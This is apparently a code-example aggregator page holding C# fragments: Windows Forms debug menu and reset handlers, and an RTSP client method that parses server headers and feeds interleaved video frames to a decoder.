     Debug = new DebugFunctions();
 }
Exemplo n.º 31
0
 private void refreshToolStripMenuItem_Click(object sender, EventArgs e)
 {
     DebugFunctions.DoRefresh(refreshToolStripMenuItem.Checked);
 }
Exemplo n.º 32
0
 private void button_reset_Click(object sender, EventArgs e)
 {
     m_cpu.Init();
     DebugFunctions.ResetDebug();
 }
Exemplo n.º 33
0
        public void ReceivingData()
        {
            while (!stopEvent.WaitOne(0, true))
            {
                if (mServerStream.DataAvailable)
                {
                    byte[] readBuffer = new byte[ReceiveBufferSize];
                    int    numberOfBytesRead = 0, pos = 0;

                    if (parsing_mode == ParsingMode.HEADER)
                    {
                        StringBuilder complegeMessage = new StringBuilder();
                        while (mServerStream.DataAvailable)
                        {
                            numberOfBytesRead = mServerStream.Read(readBuffer, 0, readBuffer.Length);
                            complegeMessage.Append(Encoding.ASCII.GetString(readBuffer, 0, numberOfBytesRead));
                        }
                        pos = parseData(complegeMessage.ToString());

                        DebugFunctions.PrintChars(complegeMessage.ToString());

                        if (pos == complegeMessage.Length)
                        {
                            SetCommand(current_command);
                        }

                        if (current_command == RtspCommand.PLAY)
                        {
                            if (CommandIsDone(current_command))
                            {
                                nsvideo.SetDecodeParameter(sprop);
                                nsvideo.Start();
                                parsing_mode = ParsingMode.DATA;
                            }
                        }
                    }

                    if (parsing_mode == ParsingMode.DATA)
                    {
                        while (mServerStream.DataAvailable)
                        {
                            numberOfBytesRead = mServerStream.Read(readBuffer, 0, readBuffer.Length);
                            DebugFunctions.PrintChars("receieve " + numberOfBytesRead.ToString() + "\n");

                            /*using (var fileStream = new FileStream("data.bin", FileMode.Append, FileAccess.Write, FileShare.None))
                             * {
                             *  using (var bw = new BinaryWriter(fileStream))
                             *  {
                             *      bw.Write(readBuffer, 0, numberOfBytesRead);
                             *  }
                             * }*/
                            data.AddRange(readBuffer.SubArray(0, numberOfBytesRead));
                            if (data.Count > 4)
                            {
                                RTSPInterleavedFrame iFrame = new RTSPInterleavedFrame(data.GetRange(0, 4).ToArray());

                                if (data.Count >= (iFrame.Length + 4))
                                {
                                    nsvideo.PushMediaPacket(data.GetRange(4, iFrame.Length).ToArray());
                                    data.RemoveRange(0, iFrame.Length + 4);
                                }
                            }
                        }
                    }
                } //end of if(mServerStream.DataAvailable) statement
            }     //end of while(!stopEvent.WaitOne(0, true)) statement
        }